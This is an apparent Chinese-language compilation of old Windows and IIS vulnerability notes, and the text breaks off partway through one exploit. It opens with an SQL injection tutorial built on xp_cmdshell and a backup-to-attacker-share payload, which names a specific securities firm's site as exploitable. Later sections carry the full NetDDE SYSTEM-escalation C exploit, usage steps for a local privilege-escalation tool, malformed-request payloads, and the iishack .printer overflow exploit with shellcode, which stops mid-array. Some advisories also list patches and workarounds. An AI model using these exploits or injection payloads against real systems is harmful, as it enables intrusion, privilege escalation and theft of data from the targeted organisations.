如果防火墙提示有人ping你，那么因该可以肯定对方的ASP用的是SQL的管理员权限，同时也确定了对方的SQL Server的准确位置，因为很多大

一点的网站考虑性能，会吧web服务和数据库分开，当对方大上了补丁看不到源代码时，我想只有这个方法能很快的定位对方的SQL Server的位置了
那么，如果对方ASP没有SQL管理员权限，我们就不能调用xp_cmdshell了，该怎么办？
别着急，试试看这个news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'

,name='test';--
呵呵，你的防火墙该发出警告了，有人连接你的445或139(win9端口了，这样，对方的SQL的ip一样也可以暴露
那么如果对方连某个数据库的owner也不是的话，我们该怎么办？下次我会告诉大家一个更好的办法。
其实backuo database到你的硬盘还是有点夸张了，如果对方数据库很庞大，你又是拨号上网，呵呵，劝你别试了，很难成功传输的
下次我们还会谈到如何骗过IDS执行ASP+SQL入侵
目前有些好的IDS已经开始监视xp_cmdshell这些关键字了
好吧，同志们下次见

所有以上url希望大家通过vbscript提交，因为浏览器的地址栏会屏蔽一些特殊字符，这样你的命令就不能完整传输了
window.location.herf=URL

补充：这个问题以前载网上也提出来过，但是只是一些简单的xp_cmdshell调用限制很大，其实这里面还有很多值得深入的地方比如www.guosen.com.cn。国信证卷就有这个问题，而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了，字符串会被过滤，但是我尝试了，用sql的异类请求仍然可以在对方的机器上开启telnet服务和administrators组的账号！由于对方防火墙很严checkpoint数据报进出都只开放80端口因此，要想获得他的数据库结构比较困难了，但是还是有办法可以做到的：P
顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系统函数当asp的sqlserver账号只是一个普通用户时，他们会很有用的！


W2K 和 XP 中 IE 的 DoS 漏洞 (MS,缺陷)

涉及程序：
IE

描述：
W2K 和 XP 中 IE 的 DoS 漏洞

详细：
在 Windows 2000 和 Windows XP 操作系统的 IE 浏览器中被发现存在一个拒绝服务漏洞，攻击者如果成功利用此漏洞的话，将会导致IE 浏览器的崩溃。

如攻击者可以构建在object标记中包含恶意CLASSSID值的页面，当IE用户浏览的时候，导致IE浏览器崩溃。

当用户遭到攻击后，如果还能够通过停止浏览器的使用，以恢复其它正常的操作，则只要重启即可恢复正常。也正因为如此，所以微软根据他们的策略（http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/columns/security/vulnrbl.asp）没有把它定义为一个标准的安全漏洞。

攻击方法：
<!-- start dosIE-doe.html -->

<object ID="dosIE-doe"
CLASSID="CLSID:00022613-0000-0000-C000-000000000046" </object>

<!-- end dosIE-doe.html -->


Win2000 NetDDE消息权限提升漏洞

是否远程：否 是否本地：是
适用环境：
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Server
Microsoft Windows 2000 Advanced Server

--------------------------------------------------------------------------------

Win2000 NetDDE消息权限提升漏洞

发布日期: 2001-2-7

更新日期: 2001-2-7

描述:
--------------------------------------------------------------------------------

网络动态数据交换（Network Dynamic Data Exchange)是一种在不同的Windows机器上的
应用程序之间动态共享数据的技术。这种共享是通过名为受信任共享（trusted shares）
的通信通道来完成的，受信任共享由网络DDE代理服务来管理。本地机器上的进程可以向网
络DDE代理发出请求，包括指定针对某个特定的受信任共享应该运行什么应用程序。但是由
于网络DDE代理运行在本地系统用户的安全上下文中并在此安全上下文中处理所有请求，因
此攻击者就有机会让网络DDE代理在本地系统用户的安全上下文中执行其指定的代码，从而
提升权限并完全控制本地机器。

细节描述如下：

Network DDE DSDM（DDE Share Database Manager）服务负责维护所有活动的网络DDE
共享的一个列表并管理NetDDE连接。当该服务启动时，在当前登录用户的桌面上将创建一
个隐藏的IPC窗口，用来与打开了DDE特性的应用程序进行通信。该窗口所处理的消息及其
格式未在正式文档中描述。

窗口的名字是“NetDDE Agent”，类名是“NDDEAgent”。由于窗口是由WINLOGON创建的，
窗口过程将运行在WINLOGON的进程空间中，它以SYSTEM的权限来处理消息。该窗口所处理
的消息之一是“WM_COPYDATA”消息，DDE用该消息将一块内存从一个进程传递给另一个进
程。绝大多数窗口间通信通常是由PostMessage( )来完成的，但WM_COPYDATA消息却是由
SendMessage( )函数来发送的，并由底层的消息子系统

（CSRSS）作为一种特殊情况进行
处理。

通过该消息发送给隐藏窗口的结构具有如下格式：
4 字节 - E1 DD E1 DD (魔数: 0xDDE1DDE1)
4 字节 - 01 00 00 00 (未知: 0x00000001)
4 字节 - 01 00 00 00 (未知: 0x00000001)
8 字节 - 05 00 00 09
00 00 00 01 (DDE Share Mod Id)
4 bytes - CC CC CC CC (未知: 未使用?)
ASCIIZ - "SHARENAME$" (以NULL结尾的串: DDE受信任的共享名)
ASCIIZ - "cmd.exe" (以NULL结尾的串: DDE服务器启动命令)

当上述缓冲区传递给窗口过程时，它将首先检查3个魔数（即前12个字节）的值，如果与
上述的值不同，则消息处理过程将返回一个错误。否则就取出两个ASCIIZ串并将其转换成
Unicode串，然后检查共享名以确保它存在并且是一个受信任的共享。

由于默认情况下在系统中存在几个受信任共享，因此可以对其进行穷举，对每个共享名都
尝试运行命令直到找到一个受信任的共享。“DDE Share Mod ID”将和上述结构中的对
应的数进行比较，如果相等则将在WINLOGON进程的上下文中执行上述第二个ASCIIZ串所
指定的命令，因此将创建一个继承了SYSTEM进程令牌的进程。“DDE Share Mod Id”本
应是一个相对随机的8字节数，但实际上却一直是个常数0x0100000009000005。

<* 来源：DilDog (dildog@atstake.com)
Microsoft Security Bulletin (MS01-007)
*>

测试程序：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

首先确保已经运行了Network DDE DSDM，然后执行如下代码：
http://www.atstake.com/research/advisories/2001/netddemsg.cpp
// Copyright 2001 @stake, Inc. All rights reserved.

#include
#include
#include

void NDDEError(UINT err)
{
char error[256];
NDdeGetErrorString(err,error,256);
MessageBox(NULL,error,"NetDDE error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
exit(err);
}

void *BuildNetDDEPacket(const char *svShareName,
    const char *svCmdLine, int *pBufLen)
{
// Build NetDDE message
int cmdlinelen=strlen(svCmdLine);
int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1;
char *funky=(char *)malloc(funkylen);
if(funky==NULL) {
MessageBox(NULL,"Out of memory.","Memory error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return NULL;
}

funky[0x00]=(char)0xE1;
funky[0x01]=(char)0xDD;
funky[0x02]=(char)0xE1;
funky[0x03]=(char)0xDD; // 0xDDE1DDE1 (magic number)

funky[0x04]=(char)0x01;
funky[0x05]=(char)0x00;
funky[0x06]=(char)0x00;
funky[0x07]=(char)0x00; // 0x00000001 (?)

funky[0x08]=(char)0x01;
funky[0x09]=(char)0x00;
funky[0x0A]=(char)0x00;
funky[0x0B]=(char)0x00; // 0x00000001 (?)

funky[0x0C]=(char)0x05; // ShareModId
funky[0x0D]=(char)0x00;
funky[0x0E]=(char)0x00;
funky[0x0F]=(char)0x09;
funky[0x10]=(char)0x00;
funky[0x11]=(char)0x00;
funky[0x12]=(char)0x00;
funky[0x13]=(char)0x01;

funky[0x14]=(char)0xCC; // unused (?)
funky[0x15]=(char)0xCC;
funky[0x16]=(char)0xCC;
funky[0x17]=(char)0xCC;

memcpy(funky+0x18,svShareName,strlen(svShareName)+1); // Share name
memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1); // Command line to execute

*pBufLen=funkylen;
return funky;
}

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nShow)
{
// Check command line
int cmdlinelen;
if(lpCmdLine==NULL || lpCmdLine[0]==‘\0‘) {
MessageBox(NULL,"Syntax is: netddmsg [-s sharename] ","Command line

error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return -1;
}
cmdlinelen=strlen(lpCmdLine);

char *szShare=NULL;
char *szCmdLine=lpCmdLine;
if(strncmp(lpCmdLine,"-s",2)==0) {
szShare=lpCmdLine+2;
while ((*szShare)==‘ ‘)
szShare++;
char *szEnd=strchr(szShare,‘ ‘);
if(szEnd==NULL) {
MessageBox(NULL,"You must specify a command to run.","Command
    line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return -1;
}
szCmdLine=szEnd+1;
*szEnd=‘\0‘;
}

// Get NetDDE Window
HWND hwnd=FindWindow("NDDEAgnt","NetDDE Agent");
if(hwnd==NULL) {
MessageBox(NULL,"Couldn‘t find NetDDE agent window","Error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
return -1;
}

// Get computer name
DWORD dwSize=256;
char svCompName[256];
GetComputerName(svCompName,&dwSize);

 // Get list of shares to try
char *sharename,*sharenames;
if(szShare==NULL) {
// Try all shares
UINT err;
DWORD dwNumShares;
// deep check otgpdvt
err=NDdeShareEnum(svCompName,0,NULL,0,&dwNumShares,&dwSize);
if(err!=NDDE_NO_ERROR && err!=NDDE_BUF_TOO_SMALL) {
NDDEError(err);
}
sharenames=(char *)malloc(dwSize);
err=NDdeShareEnum(svCompName,0,(LPBYTE) sharenames,dwSize,&dwNumShares,&dwSize);
if(err!=NDDE_NO_ERROR) {
NDDEError(err);
}
} else {
// Try command line share
sharenames=(char *)malloc(strlen(szShare)+2);
memset(sharenames,‘0‘,strlen(szShare)+2);
strcpy(sharenames,szShare);
}

// Try all shares
for(sharename=sharenames;(*sharename)!=‘\0‘;sharename+=(strlen(sharename)+1))
    {

// Ask user
if(szShare==NULL) {
char svPrompt[256];
_snprintf(svPrompt,256,"Try command through the ‘%s‘ share?",sharename);
if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND)==IDNO)
continue;
}

// Get NetDDE packet
void *funky;
int funkylen;
funky=BuildNetDDEPacket(sharename, szCmdLine, &funkylen);
if(funky==NULL)
return -1;

// Perform CopyData
COPYDATASTRUCT cds;
cds.cbData=funkylen;
cds.dwData=0;
cds.lpData=(PVOID)funky;
SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds);

// Free memory
free(funky);

}

// Free memory
free(sharenames);

return 0;
}

--------------------------------------------------------------------------------
建议:

临时解决办法：

1、禁止DDE共享。但有些必须使用DDE共享的程序可能无法正常工作。
2、以管理员身份运行ddeshare.exe，删除不必要的受信任共享，默认有
Chat$ (Microsoft Chat)，CLPBK$(Clipbook)，Hearts$(Microsoft Hearts)。

厂商补丁：

微软已经为此发布了一个安全公告以及相关补丁。
微软安全公告(MS01-007):
http://www.microsoft.com/technet/security/bulletin/MS01-007.asp

补丁下载：
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27526
本补丁可用于Windows 2000 Gold，Service Pack 1，Service Pack 2，并将包
含在Service Pack 3中。

出处：微软安全公告(MS01-007)
信息来源：maxilaw
www.patching.net(2001-2-9 14:22:17)


Windows Shell缓冲区溢出漏洞(MS02-014)

是否远程：否 是否本地：是
适用环境：
Microsoft Windows 98
Microsoft Windows 98 Second Edition
Microsoft Windows NT 4.0
Microsoft Windows NT 4.0 Terminal Server Edition
Microsoft Windows 2000
--------------------------------------------------------------------------------

漏洞描述：
Windows Shell提供了用户界面的基本框架，它就象Windows 桌面一样被用户所熟悉，也提供多种功能让用户自定义计算机，比如文件夹、文件组织等，也为开始程序提供方法。
但是在一个帮助不完全删除系统应用中的函数存在缓冲区溢出问题，可以让一个恶意用户进行堆栈的溢出攻击，并让Windows Shell崩溃，运行攻击者的任意代码。默认情况下，这个问题不能被远程利用。然而，在一些条件下，可以通过Web页面利用。如果一个用户安装一个程序，然后通过URL操作进行程序卸载，并且程序的卸载过程没有正确卸载掉程序，攻击者就可以通过WEB页面进行堆栈溢出攻击，这种HTML网页也可以通过email传递。

注意：
1、默认情况下，该漏洞不能被远程利用
2、能够远程利用该漏洞，必须在满足上面描述的条件下才可以
3、攻击者攻击能够获得的权限，也依靠用户的权限决定

解决方案：

微软已经为此发布了一个安全公告（MS02-014）以及相应补丁程序：
http://www.microsoft.com/technet/security/bulletin/MS02-014.asp

补丁下载：

Windows 98 http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37015
Windows NT 4.0 http://www.microsoft.com/downloads/release.asp?ReleaseID=36867
Windows NT 4.0 with Active Desktop http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37015
Windows NT 4.0 Terminal Server Edition http://www.microsoft.com/downloads/release.asp?ReleaseID=36869
Windows NT 2000 http://www.microsoft.com/downloads/release.asp?ReleaseID=36880

出处：金山毒霸
信息来源：阿刚
www.patching.net(2002-3-11 9:43:37)


WindowsNT & Windows2000許可權提升漏洞

一、概述
Windows又出了新漏洞，可以將任意用戶提升到SYSTEM級
別的許可權。
漏洞出在smss.exe中的DEBUG子系統，所有普通用戶都可
以通過該
漏洞獲得對系統中任意進程或線程控制碼的控制，從而可
以以SYSTEM
或管理員許可權執行任意命令。

二、使用方法
假設我們已經獲得一台電腦上的一個GUEST用戶（或其他
普通
用戶），現在我們要這個工具來獲得系統最高許可權。進
行如下步驟：
把ERunAsX.exe和ERunAsX.dll這兩個檔複製到目標主機上
可訪問
的目錄下，例如C:\下。以GUEST身份運行"ERunAsX 要執
行命令"，
例如"ERunAsX cmd.exe"，這時執行的命令是以SYSTEM許
可權運行的。

三、修正程式
目前為止，微軟還沒有就這個漏洞發佈任何修正程式，漏
洞的發現者提
供了一個修補漏洞的方法，注意漏洞發佈者提供的辦法是
修改檔smss.exe，請確認有修改必要，否則儘量等待微軟推
出相應的修正程式：
1. 編輯%systemroot%\system32\smss.exe文件
2. 找到字串"\DbgSsApiPort"的偏移量
3. 在代碼中找到相關注釋
4. 在注釋下面，而在調用NtCreatePort之前，是
OBJECT_ATTRIBUTES結構內容
5. 將OBJECT_ATTRIBUTES結構的安全描述符置為空（by
using the register that contains 0）
6. 然後正確置對PE的校驗
7. 然後重新啟動。

四、注意
1.Windows XP不受這個漏洞的影響
2.在系統中運行這個程式會引起系統不穩定，而且對每一
個系統
進程只能操作一次，第2次運行ERunAsX時需要在第二個
參數位置
指定另外一個系統進程的PID。

ps:飞鹰上面有一个相关程序，user提升为system，不错。


WindowsXP 存在严重漏洞，允许攻击者执行任意指令

描述：
WindowsXP 存在严重漏洞，允许攻击者执行任意指令

详细：
WindowsXP 默认启动的 UPNP 服务存在严重安全漏洞。有的 WindowsMe 的 OEM 版本也有这个默认安装服务。

UPNP, Universal Plug and Play 服务能够被用来检测和集成 UPNP 硬件。UPNP.org 是这样描述 UPNP 服务的：UPNP 体系面向无线设备、PC机和智能应用提供普遍的对等网络连接，在家用信息设备、办公用网络设备之间提供无缝的TCP/IP连接和web访问功能。

UPNP 由多个协议组成，其中之一是 SSDP(Simple Service Discovery Protocol)，当一个启动了 UPNP 的设备连上网络后，无论它是电脑、网络设备还是家电，它都会发送一个广播消息宣告其存在。

UPNP 协议存在安全漏洞，目前发现具体有三个安全问题，允许入侵者非法获取任何 WindowsXP 的系统级访问、进行 Dos 攻击和分布式 DoS 攻击。系统级非法访问对象为缺省安装的 WindowsXP 系统。

当以不同的速率向 UPNP 服务主机发送包含异常参数的请求包时，将在目标机器上引起访问冲突。这些访问冲突大多源自指针被覆盖。

实例：

NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=10
LOCATION: http://IPADDRESS:PORT/.xml
NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1
NTS: ssdp:alive
SERVER: EEYE/2001 UPnP/1.0 product/1.1
USN: uuid:EEYE

当 LOCATION 段的协议、端口等 buffer 值增加时，可以开始观察到访问冲突现象。寄存器(EAX和ECX)将包含被改写内存的地址，
在 "mov" 指令 svchost.exe 程序将访问一个错误的内存地址。引起访问冲突的原因是目标地址是一个被改写的指针，但在0X41414141
什么也没有。黑客测试发现了多个溢出点，利用stack overflow和heap overflow都可以编写有效的攻击程序。

发现者还指出。由于 SSDP 协议的应用设计漏洞，引起攻击者可以对 WindowsXP 发动 DoS 攻击。

攻击者利用这几个漏洞，还可以通过控制多台 XP 机器发起分布式 DoS 攻击。

解决方案：
微软公司发布了安全补丁：http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-059.asp


微软IE地址哄骗漏洞

受影响的系统
Microsoft Internet Explorer 5.01
   - Microsoft Windows 95
   - Microsoft Windows 98
   - Microsoft Windows ME
   - Microsoft Windows 2000
   - Microsoft Windows 2000 SP1
   - Microsoft Windows 2000 SP2
   - Microsoft Windows 2000 Terminal Services
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6
   - Microsoft Windows NT 4.0SP6a
Microsoft Internet Explorer 5.0.1SP2
   - Microsoft Windows 95
   - Microsoft Windows 98
   - Microsoft Windows 2000
   - Microsoft Windows 2000 SP1
   - Microsoft Windows 2000 SP2
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6
   - Microsoft Windows NT 4.0SP6a
Microsoft Internet Explorer 5.0.1SP1
   - Microsoft Windows 95
   - Microsoft Windows 98
   - Microsoft Windows 2000
   - Microsoft Windows 2000 SP1
   - Microsoft Windows 2000 SP2
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6
   - Microsoft Windows NT 4.0SP6a
Microsoft Internet Explorer 5.5SP2
   - Microsoft Windows 95
   - Microsoft Windows 98
   - Microsoft Windows 98se
   - Microsoft Windows ME
   - Microsoft Windows 2000
   - Microsoft Windows 2000 SP1
   - Microsoft Windows 2000 SP2
   - Microsoft Windows 2000 Terminal Services
   - Microsoft Windows NT Terminal Server
   - Microsoft Windows NT 3.5.1
   - Microsoft Windows NT 3.5.1SP1
   - Microsoft Windows NT 3.5.1SP2
   - Microsoft Windows NT 3.5.1SP3
   - Microsoft Windows NT 3.5.1SP4
   - Microsoft Windows NT 3.5.1SP5
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6
   - Microsoft Windows NT 4.0SP6a
   - Microsoft Windows NT Enterprise Server 4.0
Microsoft Internet Explorer 5.5SP1
   - Microsoft Windows 95
   - Microsoft Windows 98
   - Microsoft Windows 2000
   - Microsoft Windows 2000 SP1
   - Microsoft Windows 2000 SP2
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6
   - Microsoft Windows NT 4.0SP6a
Microsoft Internet Explorer 5.5
   - Microsoft Windows 95
   - Microsoft Windows 98
   - Microsoft Windows 2000
   - Microsoft Windows 2000 SP1
   - Microsoft Windows 2000 SP2
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
   - Microsoft Windows NT 4.0SP2
   - Microsoft Windows NT 4.0SP3
   - Microsoft Windows NT 4.0SP4
   - Microsoft Windows NT 4.0SP5
   - Microsoft Windows NT 4.0SP6
   - Microsoft Windows NT 4.0SP6a

弱点描述
微软的IE浏览器包含了一个安全设置特性，可以按照用户的属性进行修改。这些设置控制了网站可以在用户系统上所作的行为。

在IE中存在一个漏洞，使得一个Web站点可以被显示在本地Intranet域中，而不是Internet域中。这样，就允许站点内容以较低等级的安全设置被显示。

转换一个目标站点的IP地址到非点分的IP地址，并提交，将导致IE在内部Intranet域显示站点的内容。

修补方案

微软已经发布了下列补丁来纠正这个问题。需要注意的是，使用IE5.01的用户在安装补丁前需要安装SP2。同样，IE5.5的用户也需要SP2。

Microsoft Internet Explorer 5.01:

Microsoft Patch IE5.01 Q306121.exe
http://download.microsoft.com/download/ie501sp2/secpac20/5.01SP2/WIN98/EN-US/q306121.exe

Microsoft Internet Explorer 5.0.1SP2:
Microsoft Internet Explorer 5.0.1SP1:
Microsoft Internet Explorer 5.5SP2:
Microsoft Internet Explorer 5.5SP1:
Microsoft Internet Explorer 5.5:

Microsoft Patch IE5.5 Q306121.exe
http://download.microsoft.com/download/ie55sp2/secpac20/5.5_SP2/WIN98Me/EN-US/q306121.exe

参考资源

Message: Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
Web page: Microsoft Security Bulletin MS01-051
(Microsoft)
Web page: Microsoft Technet Security
(Microsoft)


微软Index Server(.ida/idq) ISAPI扩展远程溢出漏洞

是否远程：是 是否本地：是
适用环境：
Microsoft Index Server 2.0
－ Microsoft Windows NT 4.0 IIS 4.0
Indexing Service in Windows 2000
－ Microsoft Windows 2000 IIS 5.0

--------------------------------------------------------------------------------

微软Index Server(.ida/idq) ISAPI扩展远程溢出漏洞

描述:
--------------------------------------------------------------------------------

BUGTRAQ ID ： 2880
CVE ID : CAN-2001-0500

微软IIS缺省安装情况下带了一个索引服务器(Index Server,在Windows 2000下名为"Index
Service").缺省安装时，IIS支持两种脚本映射：管理脚本(.ida文件)、Inernet数据查询
脚本(.idq文件)。这两种脚本都由一个ISAPI扩展 - idq.dll来处理和解释。

由于idq.dll在处理某些URL请求时存在一个未经检查的缓冲区，如果攻击者提供一个特殊
格式的URL,就可能引发一个缓冲区溢出。通过精心构造发送数据，攻击者可以改变程序执
行流程，执行任意代码。

成功地利用这个漏洞,攻击者可以远程获取"Local System"权限。

<*来源：Riley Hassell of eEye Digital Security
相关链接：http://www.eeye.com/html/Research/Advisories/AD20010618.html
*>

测试程序：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

提交下列URL请求：

GET /NULL.ida?[buffer]=X HTTP/1.1
Host: werd

如果[buffer]的长度超过240个字节，就可能触发溢出。

--------------------------------------------------------------------------------
建议:

临时解决方法：

删除.ida/.idq ISAPI脚本映射。

厂商补丁：

微软已经为此发布了一个安全公告（MS01-033）以及相应补丁程序：
http://www.microsoft.com/technet/security/bulletin/MS01-033.asp

补丁下载：

Windows NT 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30833

Windows 2000 Professional, Server and Advanced Server:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30800

Windows 2000 Datacenter Server:
Windows 2000 Datacenter Server的补丁因具体硬件而不同，因此须向原设备制造商索取。

Windows XP beta:
本漏洞会在下一个beta版升级和最终公布的该产品正式版中得到解决。

出处：MS01-033
信息来源：maxilaw
www.patching.net(2001-6-22 11:47:55)


微软Win 2K IIS 5.0 远程缓冲区溢出

是否远程：是 是否本地：是
适用环境：

Microsoft Windows 2000 Server
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Advanced Server
--------------------------------------------------------------------------------

微软Win 2K IIS 5.0 远程缓冲区溢出

描述:
--------------------------------------------------------------------------------

BUGTRAQ ID: 2674

微软Win 2K IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射
关系，缺省情况下该映射存在。当远程用户提交对.printer的URL请求时，IIS 5调用
msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查，远程用户可
以提交一个精心构造的针对.printer的URL请求，其"Host:"域包含大约420字节的数
据，此时在msw3prt.dll中发生典型的缓冲区溢出，潜在允许执行任意代码。溢出发
生后，WEB服务停止响应，Win 2K可以检查到WEB服务停止响应，从而自动重启它，因
此系统管理员很难意识到发生过攻击。

<* 来源：Riley Hassel of eEye Digital Security *>

测试程序：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Ryan Permeh of eEye Digital Security 发布了一个演示该溢出的程序：

--------------------------------------------------------------------------
/***********************************************************************
iishack 2000 - eEye Digital Security - 2001
This affects all unpatched windows 2000 machines with the .printer
isapi filter loaded. This is purely proof of concept.

Quick rundown of the exploit:

Eip overruns at position 260
i have 19 bytes of code to jump back to the beginning of the buffer.
(and a 4 byte eip jumping into a jmp esp located in mfc42.dll). The
jumpback was kinda weird, requiring a little forward padding to protect
the rest of the code.

The buffer itself:
Uou only have about 250ish bytes before the overflow(taking into
account the eip and jumpback), and like 211 after it. this makes
things tight. This is why i hardcoded the offsets and had 2 shellcodes,
one for each revision. normally, this would suck, but since iis is kind
to us, it cleanly restarts itself if we blow it, giving us another chance.

This should compile clean on windows, linux and *bsd. Other than that, you
are on your own, but the vector is a simple tcp vector, so no biggie.

The vector:

the overflow happens in the isapi handling the .printer extension. The
actual
overflow is in the Host: header. This buffer is a bit weird, soi be carfull
what you pass into it. It has a minimal amount of parsing happening before
we get it, making some chars not able to be used(or forcing you to encode
your payload). As far as i can tell, the bad bytes i‘ve come across are:

0x00(duh)
0x0a(this inits a return, basically flaking our buffer)
0x0d(same as above)
0x3a(colon: - this seems to be a separator of some kind, didn‘t have time or
energy to reverse it any further, it breaks stuff, keep it out of
your buffer)

i have a feeling that there are more bad chars, but in the shellcode i‘ve
written
(both this proof of concept and actual port binding shellcode), i‘ve come
across
problems, but haven‘t specifically tagged a "bad" char.

One more thing... inititally, i got this shellcode to fit on the left side
of
the buffer overflow. something strange was causing it to fail if i had a
length
of under about 315 chars. This seems strange to me, but it could be
soemthing i
just screwed up writing this code. This explains the 0x03s padding the end
of the
shellcode.

Ryan Permeh
ryan@eeye.com

greetz: riley, for finding the hole
marc, for being a cool boss
dale,nicula,firas, for being pimps
greg hoglund, for sparking some really interesting ideas on exploitable
buffers
dark spyrit, for beginning the iis hack tradition
I would also like to thank the academy and to all of those who voted....
Barry, Levonne, and their $240.00 worth of pudding.
http://www.eeye.com/html/research/Advisories/tequila.jpg
*************************************************************************/

#ifdef _WIN32
#include <Winsock2.h>
#include <Windows.h>
#define snprintf _snprintf
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#include <stdio.h>

void usage();
unsigned char GetXORValue(char *szBuff, unsigned long filesize);

unsigned char sc[2][315]={
"\x8b\xc4\x83\xc0\x11\x33\xc9\x66\xb9\x20\x01\x80\x30\x03\x40\xe2\xfa\xeb"
"\x03\x03\x03\x03\x5c\x88\xe8\x82\xef\x8f\x09\x03\x03\x44\x80\x3c\xfc\x76"
"\xf9\x80\xc4\x07\x88\xf6\x30\xca\x83\xc2\x07\x88\x04\x8a\x05\x80\xc5\x07"
"\x80\xc4\x07\xe1\xf7\x30\xc3\x8a\x3d\x80\xc5\x07\x80\xc4\x17\x8a\x3d\x80"
"\xc5\x07\x30\xc3\x82\xc4\xfc\x03\x03\x03\x53\x6b\x83\x03\x03\x03\x69\x01"
"\x53\x53\x6b\x03\x03\x03\x43\xfc\x76\x13\xfc\x56\x07\x88\xdb\x30\xc3\x53"
"\x54\x69\x48\xfc\x76\x17\x50\xfc\x56\x0f\x50\xfc\x56\x03\x53\xfc\x56\x0b"
"\xfc\xfc\xfc\xfc\xcb\xa5\xeb\x74\x8e\x28\xea\x74\xb8\xb3\xeb\x74\x27\x49"
"\xea\x74\x60\x39\x5f\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x2d"
"\x77\x7b\x77\x03\x6a\x6a\x70\x6b\x62\x60\x68\x31\x68\x23\x2e\x23\x66\x46"
"\x7a\x66\x23\x47\x6a\x64\x77\x6a\x62\x6f\x23\x50\x66\x60\x76\x71\x6a\x77"
"\x7a\x0e\x09\x23\x45\x6c\x71\x23\x67\x66\x77\x62\x6a\x6f\x70\x23\x75\x6a"
"\x70\x6a\x77\x39\x23\x4b\x77\x77\x73\x39\x2c\x2c\x74\x74\x74\x2d\x66\x46"
"\x7a\x66\x2d\x60\x6c\x6e\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03"
"\x03\x03\x03\x03\x03\x03\x03\x03\x90\x90\x90\x90\x90\x90\x90\x90\xcb\x4a"
"\x42\x6c\x90\x90\x90\x90\x66\x81\xec\x14\x01\xff\xe4\x03\x03\x03\x03\x03"
"\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x00",

"\x8b\xc4\x83\xc0\x11\x33\xc9\x66\xb9\x20\x01\x80\x30\x03\x40\xe2\xfa\xeb"
"\x03\x03\x03\x03\x5c\x88\xe8\x82\xef\x8f\x09\x03\x03\x44\x80\x3c\xfc\x76"
"\xf9\x80\xc4\x07\x88\xf6\x30\xca\x83\xc2\x07\x88\x04\x8a\x05\x80\xc5\x07"
"\x80\xc4\x07\xe1\xf7\x30\xc3\x8a\x3d\x80\xc5\x07\x80\xc4\x17\x8a\x3d\x80"
"\xc5\x07\x30\xc3\x82\xc4\xfc\x03\x03\x03\x53\x6b\x83\x03\x03\x03\x69\x01"
"\x53\x53\x6b\x03\x03\x03\x43\xfc\x76\x13\xfc\x56\x07\x88\xdb\x30\xc3\x53"
"\x54\x69\x48\xfc\x76\x17\x50\xfc\x56\x0f\x50\xfc\x56\x03\x53\xfc\x56\x0b"
"\xfc\xfc\xfc\xfc\x50\x33\xeb\x74\xf7\x86\xeb\x74\x2e\xf0\xeb\x74\x4c\x30"
"\xeb\x74\x60\x39\x5f\x74\x74\x74\x2d\x66\x46\x7a\x66\x2d\x60\x6c\x6e\x2d"
